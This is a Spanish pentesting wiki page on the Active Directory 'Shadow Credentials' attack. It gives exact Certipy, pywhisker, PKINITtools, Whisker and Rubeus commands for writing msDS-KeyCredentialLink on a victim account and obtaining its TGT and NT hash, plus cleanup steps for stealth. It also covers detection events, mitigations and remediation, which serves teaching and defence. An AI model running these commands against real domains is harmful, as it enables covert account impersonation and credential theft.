Saltearse al contenido

Shadow Credentials

Shadow Credentials es una técnica de suplantación que abusa de Key Trust: en AD, el atributo msDS-KeyCredentialLink de un usuario o equipo guarda claves públicas usadas para autenticación por certificado (PKINIT), el mecanismo detrás de Windows Hello for Business. Si un atacante puede escribir ese atributo en una cuenta objetivo, le añade su propio par de claves y luego se autentica por PKINIT como esa cuenta, obteniendo su TGT y su hash NT —sin cambiar su contraseña ni dejar la cuenta inutilizable.

A diferencia de un reset de contraseña (ruidoso, rompe el acceso del usuario legítimo y es evidente), Shadow Credentials es sigiloso y reversible: añades una clave, te autenticas, y la quitas; el usuario nunca nota nada. El requisito es un permiso de escritura (GenericWrite, GenericAll, WriteProperty sobre msDS-KeyCredentialLink) sobre la cuenta objetivo —exactamente el tipo de arista que BloodHound revela a docenas en un AD real.

  • AD CS o al menos un DC con soporte PKINIT/Key Trust (DC 2016+). No requiere una plantilla vulnerable como los ESC: basta el Key Trust del dominio.
  • Permiso de escritura sobre msDS-KeyCredentialLink de la víctima (GenericWrite/GenericAll/WriteProperty), descubierto en enumeración/BloodHound.

Explotación (Linux — Certipy / pywhisker)

Sección titulada «Explotación (Linux — Certipy / pywhisker)»
# añade la shadow credential y obtiene hash/TGT en un paso (Certipy)
certipy shadow auto -u atacante@dominio -p pass -account 'VICTIM$' -dc-ip <DC>
# -> devuelve el NT hash de VICTIM$ y/o un PFX para PKINIT

Paso a paso con pywhisker + PKINITtools:

# 1) escribir el KeyCredential
pywhisker.py -d dominio -u atacante -p pass --target 'VICTIM$' --action add
# 2) usar el PFX resultante para pedir TGT por PKINIT
gettgtpkinit.py -cert-pfx victim.pfx dominio/VICTIM$ victim.ccache
# 3) y/o recuperar el NT hash con el TGT
getnthash.py dominio/VICTIM$ -key <asrep-key>
Whisker.exe add /target:VICTIM$ # añade la clave, devuelve comando Rubeus
Rubeus.exe asktgt /user:VICTIM$ /certificate:<b64> /getcredentials /ptt
  • Tras una arista de ACL (GenericWrite/GenericAll) en BloodHound → impersonar esa cuenta sin resetear su password.
  • Encadenado con NTLM relay a LDAP (NTLM Relay): relayas una cuenta de máquina al DC y le escribes el KeyCredential → te autenticas como ese equipo.
  • Sobre una cuenta de equipo cuyo hash te interese (p. ej. para RBCD o para acceder a ese host).
pywhisker.py ... --action remove # o certipy shadow ... (restaura el atributo)
  • Certipy (shadow auto) — el camino más rápido en Linux.
  • pywhisker + PKINITtools (gettgtpkinit.py, getnthash.py) — Linux, paso a paso.
  • Whisker + Rubeus — Windows.
  • BloodHound — localiza las aristas de escritura que lo habilitan (AddKeyCredentialLink).

Suplantación completa de la cuenta objetivo (TGT + NT hash) de forma sigilosa y reversible, partiendo solo de un permiso de escritura. Es la forma preferida de “cobrar” una arista GenericWrite/GenericAll sobre un usuario o equipo sin el ruido de un reset de contraseña.

  • Modificaciones de msDS-KeyCredentialLink: auditar escrituras de este atributo (event 5136 con el atributo, si está la auditoría de cambios del directorio) → señal de alta fidelidad.
  • Autenticaciones PKINIT (4768 con certificado) para cuentas que no usan Windows Hello/certificados.
  • Correlación: una cuenta añade un KeyCredential a otra y poco después PKINIT como esa otra.

Habilita auditoría de cambios en objetos del directorio sobre msDS-KeyCredentialLink; monitoriza 4768 con pre-auth por certificado; BloodHound para inventariar quién puede escribir ese atributo.

  • Minimiza las ACLs de escritura (GenericWrite/GenericAll/WriteProperty) sobre usuarios y equipos — el mismo trabajo que reduce el grafo de BloodHound.
  • Protege las cuentas Tier 0: que nadie fuera de Tier 0 pueda escribir sus atributos.
  • Si no usas Windows Hello for Business/Key Trust, considera restringir/monitorizar msDS-KeyCredentialLink.
  • Fuerza LDAP signing/channel binding (corta el relay que habilita escribirlo sobre cuentas de máquina).

Elimina los KeyCredentials maliciosos del atributo, resetea la cuenta si fue impersonada, revisa qué alcanzó con ese TGT/hash, y cierra la ACL de escritura que lo permitió.

  • Shadow Credentials no es un CVE: es abuso de Key Trust (Elad Shamir, “Shadow Credentials”, 2021). MITRE T1556/T1098.
  • Es la “cash-out” estándar de aristas GenericWrite/GenericAll en informes de red team modernos, reemplazando al reset de contraseña por sigilo.
  • Se combina habitualmente con las cadenas de AD CS (AD CS (Active Directory Certificate Services)) y NTLM relay (NTLM Relay) en compromisos reales de dominio.
  • ¿Tienes escritura sobre msDS-KeyCredentialLink de la víctima? (BloodHound AddKeyCredentialLink)
  • ¿El dominio soporta PKINIT/Key Trust (DC 2016+)?
  • Añadir KeyCredential y obtener TGT/NT hash (Certipy shadow auto)
  • Encadenar con relay a LDAP sobre una cuenta de máquina
  • Usar sobre cuenta de equipo para RBCD/acceso
  • Limpiar el atributo tras explotar (sigilo)
  • Blue: ¿auditoría de cambios de msDS-KeyCredentialLink?